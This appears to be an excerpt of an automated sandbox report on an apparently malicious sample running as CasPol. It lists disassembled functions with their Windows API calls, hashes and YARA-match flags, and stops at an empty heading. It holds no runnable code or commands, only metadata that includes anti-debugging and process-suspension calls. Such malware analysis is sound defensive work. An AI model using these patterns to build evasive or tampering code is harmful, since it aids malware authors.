                                                                                                                                                                                                  • Instruction ID: 283aa9570716a6929da4b93cb0bca45b8c77d553a5ebfd19e37a994bad1de6ac
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1ce7e7c7dfcd5f502045176aa51a1e3ace1f8c45826c3dbb4c0c9878229dab74
                                                                                                                                                                                                  • Instruction Fuzzy Hash: F361A235500207ABDF289F24CE82B7A77A8EF05306F1441BBED05C6656E7BC9D89CB58
                                                                                                                                                                                                  Function 0043BB71 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • IsDebuggerPresent.KERNEL32 ref: 0043BC69
                                                                                                                                                                                                  • SetUnhandledExceptionFilter.KERNEL32 ref: 0043BC73
                                                                                                                                                                                                  • UnhandledExceptionFilter.KERNEL32(?), ref: 0043BC80
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3906539128-0
                                                                                                                                                                                                  • Opcode ID: 1e0b73e88f7870ac8a7e49df57248e9339733cda2bb7518ac33a0b9eb889d704
                                                                                                                                                                                                  • Instruction ID: 25e88f5a56b9fbea854716c485460a06fbe33a825339a9765be54c88dd7cea35
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1e0b73e88f7870ac8a7e49df57248e9339733cda2bb7518ac33a0b9eb889d704
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0431D374901218ABCB21DF65D9887CDBBB8EF0C311F5051EAE81CA7251EB749F818F48
                                                                                                                                                                                                  Function 100060E2 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 100061DA
                                                                                                                                                                                                  • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 100061E4
                                                                                                                                                                                                  • UnhandledExceptionFilter.KERNEL32(?), ref: 100061F1
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3906539128-0
                                                                                                                                                                                                  • Opcode ID: 9058010cd15fc66324dfcb9f974f53c8d28613eb360f6b8a0023823f9da020d8
                                                                                                                                                                                                  • Instruction ID: da4494ed88e82f72bec2981ffd8ad716d5acf317cb547f21db02b9c2842d332f
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 9058010cd15fc66324dfcb9f974f53c8d28613eb360f6b8a0023823f9da020d8
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4A31D37490122C9BEB21DF24DD88B8DBBB8EF08350F5041DAE81CA7265E7709F818F55
                                                                                                                                                                                                  Function 00443355 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetCurrentProcess.KERNEL32(?,?,0044332B,?), ref: 00443376
                                                                                                                                                                                                  • TerminateProcess.KERNEL32(00000000,?,0044332B,?), ref: 0044337D
                                                                                                                                                                                                  • ExitProcess.KERNEL32 ref: 0044338F
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Process$CurrentExitTerminate
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1703294689-0
                                                                                                                                                                                                  • Opcode ID: 4e3b9aa1e9039f050651c305726e439f17232b6e89e74059b12d513dd76054c6
                                                                                                                                                                                                  • Instruction ID: 4b22f3a5ffe79ca7dfb81d814e561f82a31e4bef9a776fe0bb9daccb8e878f4b
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 4e3b9aa1e9039f050651c305726e439f17232b6e89e74059b12d513dd76054c6
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9FE0B635401608FBDF11AF55DE09A5D3BAAEB40B56F005469FC498A272CF79EE42CB88
                                                                                                                                                                                                  Function 10004AB4 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetCurrentProcess.KERNEL32(?,?,10004A8A,?,10012238,0000000C,10004BBD,00000000,00000000,00000001,10002082,10012108,0000000C,10001F3A,?), ref: 10004AD5
                                                                                                                                                                                                  • TerminateProcess.KERNEL32(00000000,?,10004A8A,?,10012238,0000000C,10004BBD,00000000,00000000,00000001,10002082,10012108,0000000C,10001F3A,?), ref: 10004ADC
                                                                                                                                                                                                  • ExitProcess.KERNEL32 ref: 10004AEE
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Process$CurrentExitTerminate
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1703294689-0
                                                                                                                                                                                                  • Opcode ID: 0083298fcdf57ae02ee63dbac9b2f40de16c14eb6cad1f3ac06a4de9001c4c8a
                                                                                                                                                                                                  • Instruction ID: 67c7ca3480f18a9b01e05da0926f82de4ad888d39fdd55e1be860e0f4a97641b
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 0083298fcdf57ae02ee63dbac9b2f40de16c14eb6cad1f3ac06a4de9001c4c8a
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 04E04676000218AFEF01BF25CD48B493B6AEF013C1F128010F9088B029CB35ED52CA68
                                                                                                                                                                                                  Function 0040B749 Relevance: 4.5, APIs: 3, Instructions: 19clipboardCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Clipboard$CloseDataOpen
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 2058664381-0
                                                                                                                                                                                                  • Opcode ID: ee7560bd864c47a473b03ccd03fab4bf0c670c3a92a751b3696d255e79ff2f15
                                                                                                                                                                                                  • Instruction ID: 1c65eecdd0087a0ffd0b0a04a5b63b9ff0c479b34dfa65f2e767e94bdce73387
                                                                                                                                                                                                  • Opcode Fuzzy Hash: ee7560bd864c47a473b03ccd03fab4bf0c670c3a92a751b3696d255e79ff2f15
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 45E0EC31745320EFC3206B609C49F9B6AA4DF85B52F05443AB905BB2E5DB78CC4086AD
                                                                                                                                                                                                  Function 0041BBC6 Relevance: 4.5, APIs: 3, Instructions: 19nativeCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • OpenProcess.KERNEL32(00000800,00000000,00000000,?,?,0041605F,00000000), ref: 0041BBD1
                                                                                                                                                                                                  • NtResumeProcess.NTDLL(00000000), ref: 0041BBDE
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0041BBE7
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Process$CloseHandleOpenResume
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3614150671-0
                                                                                                                                                                                                  • Opcode ID: dda695613aab68fa1ce07225af6d1ac6bad924da5be1ebe3a2a6355b7b364d52
                                                                                                                                                                                                  • Instruction ID: 00af7d86c2812e48088786baf9e1e683bef33431c8858657b58e82835f0f92e7
                                                                                                                                                                                                  • Opcode Fuzzy Hash: dda695613aab68fa1ce07225af6d1ac6bad924da5be1ebe3a2a6355b7b364d52
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 7AD05E36204121E3C220176A7C0CD97AD68DBC5AA2705412AF804C22609A60CC0186E4
                                                                                                                                                                                                  Function 0041BB9A Relevance: 4.5, APIs: 3, Instructions: 19nativeCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • OpenProcess.KERNEL32(00000800,00000000,00000000,?,?,0041603A,00000000), ref: 0041BBA5
                                                                                                                                                                                                  • NtSuspendProcess.NTDLL(00000000), ref: 0041BBB2
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0041BBBB
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Process$CloseHandleOpenSuspend
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1999457699-0
                                                                                                                                                                                                  • Opcode ID: dd0b989ddcc61b84e262834eab0f6eafaf8d61dce4d0b86b08aa1b4c832549dd
                                                                                                                                                                                                  • Instruction ID: 611eda4fe747f1c58df557fb912083c2b4b70512fbfbfb6239720577e9304ccf
                                                                                                                                                                                                  • Opcode Fuzzy Hash: dd0b989ddcc61b84e262834eab0f6eafaf8d61dce4d0b86b08aa1b4c832549dd
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 98D05E36204121E3C7211B6A7C0CD97AD68DFC5AA2705412AF804D26549A20CC0186E4
                                                                                                                                                                                                  Function 00434CB6 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 134COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00434CCF
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: FeaturePresentProcessor
                                                                                                                                                                                                  • String ID: MZ@
                                                                                                                                                                                                  • API String ID: 2325560087-2978689999
                                                                                                                                                                                                  • Opcode ID: 4259bdeace04940204f61aa74a979230364aaba3051b8f8e0efcae6fb7ed6494
                                                                                                                                                                                                  • Instruction ID: 5e37b39ef68b784d6588b9ddffa6793edf4c3ade0924e8be62ba08be237937aa
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 4259bdeace04940204f61aa74a979230364aaba3051b8f8e0efcae6fb7ed6494
                                                                                                                                                                                                  • Instruction Fuzzy Hash: E4515B71D002488FEB24CF69D98579EBBF4FB88314F24956BD419EB264D378A940CF98
                                                                                                                                                                                                  Function 0044E8F9 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID: .
                                                                                                                                                                                                  • API String ID: 0-248832578
                                                                                                                                                                                                  • Opcode ID: e4ba95ef050ff9873834a062f40f8bfe8ca2f849e5d953d5b04f24550caf4fd0
                                                                                                                                                                                                  • Instruction ID: 7baa6cf80f4bdea99dbc4d330b45aada8194c6230f36d830dc1b60d3871032d3
                                                                                                                                                                                                  • Opcode Fuzzy Hash: e4ba95ef050ff9873834a062f40f8bfe8ca2f849e5d953d5b04f24550caf4fd0
                                                                                                                                                                                                  • Instruction Fuzzy Hash: DF3107B1900259AFEB24DE7ACC84EFB7BBDEB46318F0401AEF41897291E6349D418B54
                                                                                                                                                                                                  Function 10006580 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID: .
                                                                                                                                                                                                  • API String ID: 0-248832578
                                                                                                                                                                                                  • Opcode ID: d62ff9c274239ee522e16b5fb8162bf78a9045f13a61a74130903e5937500e37
                                                                                                                                                                                                  • Instruction ID: 9046c4836333a0efab45ea1e09b7d9ff5bbd95f87beecc7c41f4b92e1cb642f0
                                                                                                                                                                                                  • Opcode Fuzzy Hash: d62ff9c274239ee522e16b5fb8162bf78a9045f13a61a74130903e5937500e37
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 45313771800159AFEB14CF74CC84EEA7BBEDB49384F200198F81997259E6319E448B60
                                                                                                                                                                                                  Function 004520B6 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 00448295: GetLastError.KERNEL32(00000020,?,0043A875,?,?,?,0043F9F8,?,?,00000020,00000000,?,?,?,0042DD92,0000003B), ref: 00448299
                                                                                                                                                                                                    • Part of subcall function 00448295: _free.LIBCMT ref: 004482CC
                                                                                                                                                                                                    • Part of subcall function 00448295: SetLastError.KERNEL32(00000000,0043F9F8,?,?,00000020,00000000,?,?,?,0042DD92,0000003B,?,00000041,00000000,00000000), ref: 0044830D
                                                                                                                                                                                                    • Part of subcall function 00448295: _abort.LIBCMT ref: 00448313
                                                                                                                                                                                                  • EnumSystemLocalesW.KERNEL32(00452393,00000001,?,?,JD,?,00452734,JD,?,?,?,?,?,00444AED,?,?), ref: 00452102
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                                                                                                                                                                                  • String ID: JD
                                                                                                                                                                                                  • API String ID: 1084509184-2669065882
                                                                                                                                                                                                  • Opcode ID: 43afbb6a7401c46fb6bd1099fc40b6d5da7848bdbd3577d5ff827f5c50c4ae4e
                                                                                                                                                                                                  • Instruction ID: 883a99871793c155097d9da94a803295819168bd30f8f35cc04eca091e96b9f4
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 43afbb6a7401c46fb6bd1099fc40b6d5da7848bdbd3577d5ff827f5c50c4ae4e
                                                                                                                                                                                                  • Instruction Fuzzy Hash: E8F0FF363007056FDB245F399881A6B7B96FB82769B04482EFE458B682DAB99C42D604
                                                                                                                                                                                                  Function 0044896D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,?,?,00000004), ref: 004489C0
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: InfoLocale
                                                                                                                                                                                                  • String ID: GetLocaleInfoEx
                                                                                                                                                                                                  • API String ID: 2299586839-2904428671
                                                                                                                                                                                                  • Opcode ID: a6f31f6a822a68a73c6fa21f72a86d6968122590954041d098649a345c0d9b9f
                                                                                                                                                                                                  • Instruction ID: 58f0578312c774904006f9ed4749830948a62bec6dc8fde4d932476f73229d15
                                                                                                                                                                                                  • Opcode Fuzzy Hash: a6f31f6a822a68a73c6fa21f72a86d6968122590954041d098649a345c0d9b9f
                                                                                                                                                                                                  • Instruction Fuzzy Hash: C0F0F631640608FBDB016F61DC06F6E7B25EB04751F00056EFC0966251DE368D2096DE
                                                                                                                                                                                                  Function 00446270 Relevance: 3.5, APIs: 2, Instructions: 464COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: 321144b451aceacc10be44255a5eb5313de52b8189587c3c0fdae4375c3dd106
                                                                                                                                                                                                  • Instruction ID: f88ef0336175cd1615890b4a552d96ffb4623b3c947145a2eaf1ae153763923c
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 321144b451aceacc10be44255a5eb5313de52b8189587c3c0fdae4375c3dd106
                                                                                                                                                                                                  • Instruction Fuzzy Hash: AA025D71E002199BEF14CFA9D8806AEFBF1FF49314F26816AD819E7384D734AD418B85
                                                                                                                                                                                                  Function 00451D58 Relevance: 3.2, APIs: 2, Instructions: 236COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 00448295: GetLastError.KERNEL32(00000020,?,0043A875,?,?,?,0043F9F8,?,?,00000020,00000000,?,?,?,0042DD92,0000003B), ref: 00448299
                                                                                                                                                                                                    • Part of subcall function 00448295: _free.LIBCMT ref: 004482CC
                                                                                                                                                                                                    • Part of subcall function 00448295: SetLastError.KERNEL32(00000000,0043F9F8,?,?,00000020,00000000,?,?,?,0042DD92,0000003B,?,00000041,00000000,00000000), ref: 0044830D
                                                                                                                                                                                                    • Part of subcall function 00448295: _abort.LIBCMT ref: 00448313
                                                                                                                                                                                                  • IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00444AF4,?,?,?,?,?,?,00000004), ref: 00451E3A
                                                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,00444AF4,00000000,00444C14), ref: 00451F7B
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ErrorLast$CodeInfoLocalePageValid_abort_free
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1661935332-0
                                                                                                                                                                                                  • Opcode ID: 542ab58a55aa9f08c463a9389d0e41dfe4354c1e35855495671bf6e32f2bde7c
                                                                                                                                                                                                  • Instruction ID: 2c98265d6c7a89d72caae9d33925a6d6107158c78f730362dcab12f0c71d6669
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 542ab58a55aa9f08c463a9389d0e41dfe4354c1e35855495671bf6e32f2bde7c
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 7F611976600606AAD714AB75CC42FBB73A8EF04306F14056FFD05DB292EB78E948C769
                                                                                                                                                                                                  Function 004533AB Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,004533A6,?,?,00000008,?,?,0045625D,00000000), ref: 004535D8
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ExceptionRaise
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3997070919-0
                                                                                                                                                                                                  • Opcode ID: 7607852d8e830f82297ee51b6d0742b1a7d4b3e0fd86a5f67b8f7d07b9d25eec
                                                                                                                                                                                                  • Instruction ID: 7263c04077df6a1dd25da4ac29b5b982fa38ace811980f45f75c7c5cedc24273
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 7607852d8e830f82297ee51b6d0742b1a7d4b3e0fd86a5f67b8f7d07b9d25eec
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0FB13B315106089FD715CF28C48AB657BE0FF053A6F25865DE899CF3A2C339EA96CB44
                                                                                                                                                                                                  Function 1000B5C1 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,1000B5BC,?,?,00000008,?,?,1000B25C,00000000), ref: 1000B7EE
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ExceptionRaise
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3997070919-0
                                                                                                                                                                                                  • Opcode ID: 5385f7ee1153a66eb2669645b58237e3e0719d9079e030963b5c19e75e4dc3f3
                                                                                                                                                                                                  • Instruction ID: c899a2dc376e060411cab8954cdd4c29929d9ba6cfa71f030d59b99a2ca162da
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5385f7ee1153a66eb2669645b58237e3e0719d9079e030963b5c19e75e4dc3f3
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0DB16B31610A09CFE755CF28C486B647BE0FF453A4F25C658E89ACF2A5C735E982CB40
                                                                                                                                                                                                  Function 004339D7 Relevance: 1.8, Strings: 1, Instructions: 501COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Strings
